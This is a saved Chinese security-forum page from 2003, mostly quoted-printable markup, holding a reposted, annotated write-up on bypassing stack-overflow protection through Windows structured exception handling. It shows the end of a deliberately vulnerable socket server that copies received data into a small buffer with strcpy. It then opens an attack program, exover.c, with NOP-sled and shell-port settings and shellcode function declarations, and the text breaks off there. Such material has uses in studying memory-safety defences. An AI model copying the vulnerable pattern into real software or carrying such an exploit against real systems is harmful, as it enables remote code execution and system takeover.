📄 [转帖+注释]利用结构异常绕过溢出保护攻击.mht
字号:
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle=20
=
border=3D0>;<BR> exit(1);<BR> }<BR> j=3D=
0;<BR> str=3Dargv[0];<BR> if(argc>1)=20
port=3Datoi(argv[1]);<BR> else=20
port=3D1080;<BR> fd =3D =
socket(AF_INET,=20
SOCK_STREAM,0);<BR> s_in.sin_family =
=3D=20
AF_INET;<BR> s_in.sin_port =3D=20
htons(port);<BR> s_in.sin_addr.s_addr =
=3D=20
=
0;<BR><BR> bind(fd,&s_in,sizeof(s_in));<BR> lis=
ten(fd,10);<BR><BR> i=3Dsizeof(addr);<BR> fd1=3Dacc=
ept(fd,&addr,&i);<BR><BR> recvbytes=3Drecv(fd1,buff2,0=
x1000,0);<BR> if(recvbytes>0){<BR> buff2[recvbyt=
es]=3D0;<BR> buff2[0x1000-1]=3D0;<BR> =20
=
printf("\n=20
recv 0x%x bytes \n",recvbytes);<BR> =
=20
=20
=
strcpy(buff1,buff2);<BR> printf("\n the=20
program %s recv :\n %s \n=20
=
",argv[0],buff2);<BR> }<BR> closesocket(fd1);<BR>&n=
bsp; closesocket(fd);<BR> WSACleanup(=20
=
);<BR><BR> if(j!=3D0){<BR>/*<BR>=D2=E7=B3=F6=BA=F3=BB=E1=B8=B2=
=B8=C7j=A3=AC=B1=BB=BC=EC=B2=E2=B5=BD=A3=AC=D5=E2=BE=CD=CF=E0=B5=B1=D3=DA=
=D2=BB=D0=A9=D2=E7=B3=F6=B1=A3=BB=A4<BR>*/<BR> =20
printf("\n the =
program=20
%s buffover err=20
=
!",argv[0]);<BR>/*<BR>=D5=E2=B6=F9=D2=E7=B3=F6=BA=F3=BF=C9=C4=DC=D2=F2=CE=
=AAargv[0]=B1=BB=B8=B2=B8=C7=A3=AC=B6=F8=B7=A2=C9=FA=D2=EC=B3=A3=A3=AC<BR=
>=BE=DF=CC=E5=BB=B7=BE=B3=D5=E2=B4=FA=C2=EB=BF=C9=C4=DC=D4=DA=C7=B0=C3=E6=
=A1=A3<BR>=D5=E2=BE=CD=CF=E0=B5=B1=D3=DA=D0=CE=B2=CE=B1=BB=C6=C6=BB=B5=A1=
=A3<BR>*/<BR> =20
=20
exit(1);<BR> }<BR><BR>}<A=20
name=3Dendpid73468></A> =
</TD></TR></TBODY></TABLE></TD></TR>
<TR bgColor=3D#e8f2ff>
<TD class=3Dsmalltxt vAlign=3Dcenter><A=20
=
href=3D"http://25.20.176.12/bbs/viewthread.php?tid=3D11226#pid73468"><IMG=
=20
alt=3D=BB=D8=B5=BD=B5=DA1=CC=F9=BF=AA=CD=B7=20
=
src=3D"http://25.20.176.12/bbs/images/default/threadforward.gif"=20
align=3DabsMiddle border=3D0></A> 2003-12-18 04:47 =
PM</A> </TD>
<TD vAlign=3Dcenter>
<TABLE cellSpacing=3D0 cellPadding=3D0 width=3D"100%" =
border=3D0>
<TBODY>
<TR class=3Dsmalltxt>
<TD align=3Dleft><A=20
=
href=3D"http://25.20.176.12/bbs/viewpro.php?username=3Dredpower"><IMG=20
alt=3D=B2=E9=BF=B4=D7=CA=C1=CF=20
=
src=3D"http://25.20.176.12/bbs/images/default/profile.gif"=20
border=3D0></A> <A href=3D"http:///"=20
target=3D_blank><IMG =
alt=3D=B7=C3=CE=CA=D6=F7=D2=B3=20
=
src=3D"http://25.20.176.12/bbs/images/default/site.gif"=20
border=3D0></A> <A=20
=
href=3D"http://25.20.176.12/bbs/search.php?srchuname=3Dredpower&srchf=
id=3Dall&srchfrom=3D0&searchsubmit=3Dyes"><IMG=20
=
alt=3D=CB=D1=CB=F7=B8=C3=D3=C3=BB=A7=B5=C4=C8=AB=B2=BF=CC=FB=D7=D3=20
=
src=3D"http://25.20.176.12/bbs/images/default/find.gif"=20
border=3D0></A> <A=20
=
href=3D"http://25.20.176.12/bbs/pm.php?action=3Dsend&username=3Dredpo=
wer"=20
target=3D_blank><IMG =
alt=3D=B7=A2=B6=CC=CF=FB=CF=A2=20
=
src=3D"http://25.20.176.12/bbs/images/default/pm.gif"=20
border=3D0></A> </TD>
<TD align=3Dright> <A=20
=
href=3D"http://25.20.176.12/bbs/post.php?action=3Dreply&fid=3D143&=
;tid=3D11226&repquote=3D73468&page=3D1"><IMG=20
alt=3D=D2=FD=D3=C3=BB=D8=B8=B4=20
=
src=3D"http://25.20.176.12/bbs/images/default/quote.gif"=20
border=3D0></A> <A=20
=
href=3D"http://25.20.176.12/bbs/misc.php?action=3Dreport&fid=3D143&am=
p;tid=3D11226&pid=3D73468"><IMG=20
=
alt=3D=CF=F2=B0=E6=D6=F7=B7=B4=D3=A6=D5=E2=B8=F6=CC=FB=D7=D3=20
=
src=3D"http://25.20.176.12/bbs/images/default/report.gif"=20
border=3D0></A> <SELECT=20
=
onchange=3D"if(this.options[this.selectedIndex].value !=3D '') =
{ window.location=3D('misc.php?action=3Dkarma&tid=3D11226&pid=
=3D73468&username=3Dredpower&score=3D'+this.options[this.selected=
Index].value+'&sid=3DhBfkBmKc') }"=20
align=3DabsMiddle name=3Dfid> <OPTION value=3D"" =
selected>=C6=C0=B7=D6</OPTION> <OPTION =
value=3D"">----</OPTION>=20
<OPTION value=3D-4>-4</OPTION> <OPTION=20
value=3D-3>-3</OPTION> <OPTION =
value=3D-2>-2</OPTION>=20
<OPTION value=3D-1>-1</OPTION> <OPTION=20
value=3D1>+1</OPTION> <OPTION =
value=3D2>+2</OPTION>=20
<OPTION value=3D3>+3</OPTION> <OPTION=20
value=3D4>+4</OPTION> <OPTION =
value=3D5>+5</OPTION></SELECT>=20
=
</TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></T=
ABLE></A><A=20
name=3Dpid73469>
<TABLE cellSpacing=3D0 cellPadding=3D0 width=3D"100%" =
align=3Dcenter border=3D0>
<TBODY>
<TR>
<TD bgColor=3Ddarkblue>
<TABLE style=3D"TABLE-LAYOUT: fixed; WORD-WRAP: break-word"=20
cellSpacing=3D1 cellPadding=3D4 width=3D"100%" border=3D0>
<TBODY>
<TR bgColor=3D#e8f2cf>
<TD vAlign=3Dtop width=3D160>
<FIELDSET><LEGEND><A=20
=
href=3D"http://25.20.176.12/bbs/viewthread.php?tid=3D11226#endpid73469"><=
IMG=20
alt=3D=D7=AA=B5=BD=B5=DA2=CC=F9=C4=A9=CE=B2=20
=
src=3D"http://25.20.176.12/bbs/images/default/threadnext.gif"=20
border=3D0></A> <FONT =
title=3D"=B5=DA2=C2=A5<br>=CC=F9=D7=D3=B1=E0=BA=C5:PID=3D73469"=20
color=3D#9900ff>=B5=DA2=C2=A5</FONT> </LEGEND>
<TABLE style=3D"TABLE-LAYOUT: fixed" cellSpacing=3D0 =
cellPadding=3D0=20
width=3D"100%" border=3D0>
<TBODY>
<TR>
<TD>
<CENTER>
<H3>redpower</H3></CENTER><BR></TD></TR>
<TR>
<TD align=3Dmiddle><IMG=20
=
src=3D"http://25.20.176.12/bbs/images/default/star.gif"></TD></TR></TBODY=
></TABLE></FIELDSET>=20
<TABLE cellSpacing=3D0 cellPadding=3D3 width=3D"100%" =
border=3D0>
<TBODY>
<TR>
<TD class=3Drow><IMG height=3D11=20
=
src=3D"http://25.20.176.12/bbs/images/default/ball.gif"=20
width=3D10> =CD=B7=CF=CE: <FONT =
color=3Dred>=BE=AB=C1=E9=CA=B9</FONT></TD></TR>
<TR>
<TD class=3Drow><IMG height=3D11=20
=
src=3D"http://25.20.176.12/bbs/images/default/ball.gif"=20
width=3D10> =D0=D4=B1=F0: <FONT =
color=3Dred>=C4=D0<IMG title=3D=D0=D4=B1=F0=A3=BA=C4=D0=20
=
src=3D"http://25.20.176.12/bbs/images/default/male.gif">=20
</FONT><!--(=B7=A2=CC=F9:<font =
color=3D"red">852</font>=C6=AA)--></TD></TR>
<TR>
<TD class=3Drow title=3D"=BB=FD=B7=D6:0 =
=B7=D6<br>=B7=A2=CC=F9:852 =C6=AA"><IMG height=3D11=20
=
src=3D"http://25.20.176.12/bbs/images/default/ball.gif"=20
width=3D10> =BB=FD=B7=D6: <FONT =
color=3Dred>0</FONT>=B7=D6<!--(=B7=A2=CC=F9:<font =
color=3D"red">852</font>=C6=AA)--></TD></TR>
<TR>
<TD class=3Drow =
title=3D"=BE=AB=BB=AA=D6=B8=CA=FD:16 =B7=D6<br>=B7=A2=CC=F9:852 =
=C6=AA"><IMG=20
height=3D11=20
=
src=3D"http://25.20.176.12/bbs/images/default/ball.gif"=20
width=3D10> =B7=A2=CC=F9: <FONT =
color=3Dred>852</FONT>=C6=AA</TD></TR>
<TR>
<TD class=3Drow=20
=
title=3D"=B2=C6=B8=BB:2298+0<br>=CF=D6=BD=F0:2298<br>=B4=E6=BF=EE:0<br>=BD=
=F0=D3=F1=C2=FA=CC=C3"><IMG=20
height=3D11=20
=
src=3D"http://25.20.176.12/bbs/images/default/ball.gif"=20
width=3D10> =B2=C6=B8=BB: <FONT =
color=3Dred>2298</FONT> =BD=F0=B1=D2</TD></TR>
<TR>
<TD class=3Drow=20
title=3D"=B1=E0=BA=C5: =
<b>434</b></br>=C0=B4=D7=D4:<br>=D7=A2=B2=E1: 2003-9-28"><IMG=20
height=3D11=20
=
src=3D"http://25.20.176.12/bbs/images/default/ball.gif"=20
width=3D10> =B1=E0=BA=C5: =A1=ED434<IMG =
title=3D"=D7=B4=CC=AC =C0=EB=CF=DF"=20
=
src=3D"http://25.20.176.12/bbs/images/default/offline_user.gif"=20
align=3DabsMiddle> =
</TD></TR></TBODY></TABLE></TD>
<TD height=3D"100%">
<TABLE style=3D"TABLE-LAYOUT: fixed; WORD-WRAP: =
break-word"=20
height=3D"100%" cellSpacing=3D0 cellPadding=3D0 =
width=3D"100%"=20
border=3D0>
<TBODY>
<TR>
<TD vAlign=3Dtop><SPAN class=3Dbold><SPAN=20
=
class=3Dsmalltxt>[=D7=AA=CC=FB+=D7=A2=CA=CD]=C0=FB=D3=C3=BD=E1=B9=B9=D2=EC=
=B3=A3=C8=C6=B9=FD=D2=E7=B3=F6=B1=A3=BB=A4=B9=A5=BB=F7<BR><BR></SPAN></SP=
AN><BR>=CF=C2=C3=E6=CA=C7=B9=A5=BB=F7=B3=CC=D0=F2=A3=BA<BR><BR><BR>/*<BR>=
=20
=
=C0=FB=D3=C3=D2=EC=B3=A3=BD=E1=B9=B9=C8=C6=B9=FD=D2=E7=B3=F6=B1=A3=BB=
=A4=B9=A5=BB=F7=B5=C4=B9=A5=BB=F7=B3=CC=D0=F2exover.c=A1=A3<BR> =20
=
=C9=CF=C3=E6=B3=CC=D0=F2=D4=CB=D0=D0=D4=DAwin2000=CF=C2=B4=CB=B9=A5=
=BB=F7=B3=CC=D0=F2=D2=E7=B3=F6=B3=C9=B9=A6=A1=A3<BR> =20
=
vc6.0=CF=C2=B1=E0=D2=EB=CD=A8=B9=FD=A1=A3<BR> <A=20
=
href=3D"mailto:yuange@nsfocus.com">yuange@nsfocus.com</A><BR>*/<BR><BR><B=
R>#include=20
<windows.h><BR>#include=20
<winsock.h><BR>#include=20
=
<stdio.h><BR><BR><BR>#define FNENDLONG =20
=
0x08<BR>#define NOPCODE =20
0x90<BR>#define NOPLONG =20
=20
0x20<BR>#define BUFFSIZE =
=20
=
0x20000<BR>#define RETEIPADDRESS=20
0x0<BR>#define SHELLPORT =20
0x1f90<BR>/* 0x1f90=3D8080=20
*/<BR>#define WEBPORT =
=20
1080<BR><BR><BR>#pragma=20
comment(lib,"ws2_32.lib"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0><BR><BR>void =20
=
shellcodefnlock();<BR>void =20
=
shellcodefn();<BR><BR>void =20
cleanchkesp(char *fnadd,char=20
*shellbuff,char *chkespadd ,int len);<BR><BR>int =
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